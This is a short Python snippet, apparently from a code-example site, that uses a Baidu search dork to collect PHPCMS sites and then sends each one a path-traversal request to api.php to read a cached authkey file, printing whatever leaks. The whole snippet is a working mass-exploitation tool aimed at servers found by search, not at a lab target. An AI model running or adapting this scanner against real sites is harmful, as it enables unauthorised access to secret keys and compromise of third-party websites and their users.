Example #1
0
def crawler_multi_test():
    keyword = "inurl:index.php?m=content&c="
    url_list = Crawler.baidu_search(keyword=keyword, page=2)
    for target in url_list:
        for plugin in plugins:
            if plugin.detect(target):
                print(target + " : " + plugin.name)
                if plugin.name == "phpcms":
                    try:
                        s = requests.get(
                            target +
                            "api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key"
                            "=authkey&cachefile=..%5C..%5C..%5Cphpsso_server%5Ccaches"
                            "%5Ccaches_admin%5Ccaches_data%5Capplist&path=admin"
                        ).text
                    except:
                        continue
                    if "aaaaa" in s:
                        print(s)